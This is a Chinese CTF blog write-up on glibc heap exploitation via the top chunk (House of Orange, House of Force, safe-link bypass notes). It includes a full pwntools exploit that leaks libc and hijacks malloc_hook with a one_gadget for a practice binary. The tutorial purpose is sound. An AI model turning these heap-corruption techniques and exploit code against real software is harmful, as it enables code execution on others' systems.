pwn·针对glibc中topchunk的攻击

Posted by Zephyr on Sunday, August 18, 2024

针对topChunk的攻击

House Of Orange

适用条件

  • 题目中不存在 free 函数或其他释放堆块的函数
  • 堆溢出写
  • 能够修改到 top_chunksize
  • 可以得到一个 unsortedbin
  • glibc ≤ 2.23

原理

当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,从而在没有free的前提下获得一个已经 free 了的 unsorted bin

我们假设目前的 top chunk 已经不满足 malloc 的分配需求。 首先我们在程序中的malloc调用会执行到 libc.so 的_int_malloc函数中,在_int_malloc函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc函数会试图使用 top chunk,在这里 top chunk 也不能满足分配的要求,因此会执行如下分支。

/*
Otherwise, relay to handle system-dependent cases
*/
else {
      void *p = sysmalloc(nb, av);
      if (p != NULL && __builtin_expect (perturb_byte, 0))
        alloc_perturb (p, bytes);
      return p;
}

看top_chunk的size值,比如0x20791这样子

改为0x791,再申请一个大的即可无中生有一个unsorted bin出来。

只能改成0x791是因为glibc中会对 topchunksize 位进行校验,由于操作系统是4k页对齐的,我们需要保证 低12位 大小不变,也就是 0x791

随后如果能够修改到unsortedbin的bk位,即可实现unsorted bin attack

一般后续攻击是挟持IO_list_all指针

unsorted bin attack实现的是将main_arena+0x88写到IO_list_all处

image.png

  • 利用堆溢出来改小 top chunk ,然后在malloc一个大空间从而变出一个bin的打法全版本通用。

house of orange+

可以将 top chunk 的大小分配到比如 0x110a0 这样,然后可以将大小改为 0x0a0 ,然后malloc一个大空间,可以放到 tcache,在 libc2.26以下可以调整空间打 fastbin dup

原文见https://bbs.kanxue.com/thread-282523.htm

house of force

在libc 2.27及以下可用

glibc 中对 topchunk 的校验

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证

也就是利用堆溢出将 topchunksize 位改成 -1 ,根据补码→无符号规则,是一个非常大的数 Umax

然后如果题目中对 malloc 的数没有校验,可以将 topchunk 往高地址推,从而实现任意空间分配。

例题:topchunkMaster

  • libc-2.27
  • 菜单题,没有free函数,有UAF
  • edit 函数处有堆溢出,可以溢出8个字节

image.png

在没有free的情况下,我们可以利用 house of orange 的前半部分打出一个 unsortedbin 出来。然后根据下面的示意图

image.png

我们现在 unsortedbin 中只有一个 bin,因此他的 bk指向的是 main_arena ,和 libc 的地址是有固定偏移的,我们可以将这堆块申请出来,然后show一下,然后计算出 libc 基地址

首先先申请一个 0x408大小的空间

image.png

可以发现,实际上的大小是 0x410 在这种情况下可以共用下一个堆块的 prev_size 的一个 byte,因此我们可以利用堆溢出改到 topchunksize 位,改为0x9a1

然后我们可以add一个0x1000的大小,在glibc中,会进入到 use TOP 的代码段,调用 int_free 将原先的 top_chunk free掉,从而我们有了一个 unsortebin

image.png

可以看到, 我们可以泄露 fd或者bk的值来计算libcbase

然后我们再申请一个堆块,show一下,就可以泄露出libc的地址,并计算libc基地址

image.png

然后我们需要申请一堆空间,将 unsortebin 耗尽,再次申请,就会从 topchunk 切割。

然后我们利用溢出将 topchunksize 位修改为 -1

image.png

我们可以打 tcache_entry

image.png

注意到 tcache_perthread_entry63 个重复的 countstcache 中每多一个对应大小的bins,对应的 counts 就会+1,我们可以修改 entries 实现任意写

image.png

这个 0x250 的堆块就是 tcache_perthread_entry 会在堆第一次初始化的时候初始。

我们可以计算他到现在 topchunk 的偏移 然后再减去 header0x10 就可以将 topchunk 推到 tcache_entry 中,然后我们 malloc 获得这一块的写入,然后就可以控制 tcache

然后打 tcache→malloc_hook→one_gadget链即可

from pwn import *
context.arch  = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'

context.terminal =['tmux','splitw','-h']

exe = ELF('./pwn')
libc = ELF('./libc.so.6')
p = process("./pwn")

def cmd(i, prompt = "5. exit"):
    p.sendlineafter(prompt,str(i))

def add(index, size):
    cmd(1)
    p.sendlineafter("idx: ",str(index))
    p.sendlineafter("size: ",str(size))

def show(index):
    cmd(3)
    p.sendlineafter("idx: ",str(index))

def edit(index, payload):
    cmd(4)
    p.sendlineafter("idx: ",str(index))
    p.sendafter("content: ",payload)

add(0,0x408)

edit(0,flat(
    b'a'*0x408,
    0x9a1
))

add(0,0x1000)

add(0,0x60)

show(0)
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 0x3ec1f0
success(f"libc--->{hex(libc_base)}")

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['realloc']
realloc_hook = libc_base + libc.sym['__realloc_hook']
og = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc] 
one_gadget = [item + libc_base for item in og]
add(0,0x900)

add(0,0x408)
edit(0,flat(
    b'a'*0x408,
    -1
))
add(0,-0x22420-0x10)
add(0,0x240) # tcache_struct
edit(0,flat(
    b'3'*0x10,0,0,0,0,0,0,0,0,0,p64(malloc_hook - 0x10),p64(malloc_hook - 0x8) # 0x50->realloc_hook 0x60 ->malloc_hook
))
add(0,0x50) #realloc_hook
edit(0,p64(one_gadget[2])+p64(realloc_addr +9))
# add(0,0x60)
# gdb.attach(p)
# gdb.attach(p)
p.interactive()

例题:topchunkmasterplus

image.png

libc2.35

依然可以leak libc,但是无法使用house of force申请超大内存空间(会调用mmap来分配)

同时打tcache存在 key 防止 double free 同时存在 safe link

ptr xor (addr >> 12)

比如我们需要写入 addr1

我们需要计算 addr1 ^ (当前tcache地址 >> 12)

因此我们需要leak堆地址

image.png

largebin 中,有四个指针,其中 fd_nextsize 就存有堆地址,我们可以拿到这个将largebin中的堆块申请出来一块,然后填 0x10个a 然后就会将 fd_nextsize 打印出来,从而leak堆地址

image.png

我们变出 unsortebin 之后,再申请一个大于 unsortebin 大小的内存,就会将 unsortebin 放到 largebin 中,然后我们可以尝试切割 largebin 或者直接申请 largebin 对应大小的空间,leak即可。

题目中存在后门,思路是用第一次攻击 topchunk 变出 unsortebin 来leaklibc,然后leak堆地址,然后再次攻击 topchunk ,变出两个 tcache 然后将 bss 段的地址放到 tcachefd 中,最后申请出来改写 bss 段从而通过 check 函数。

image.png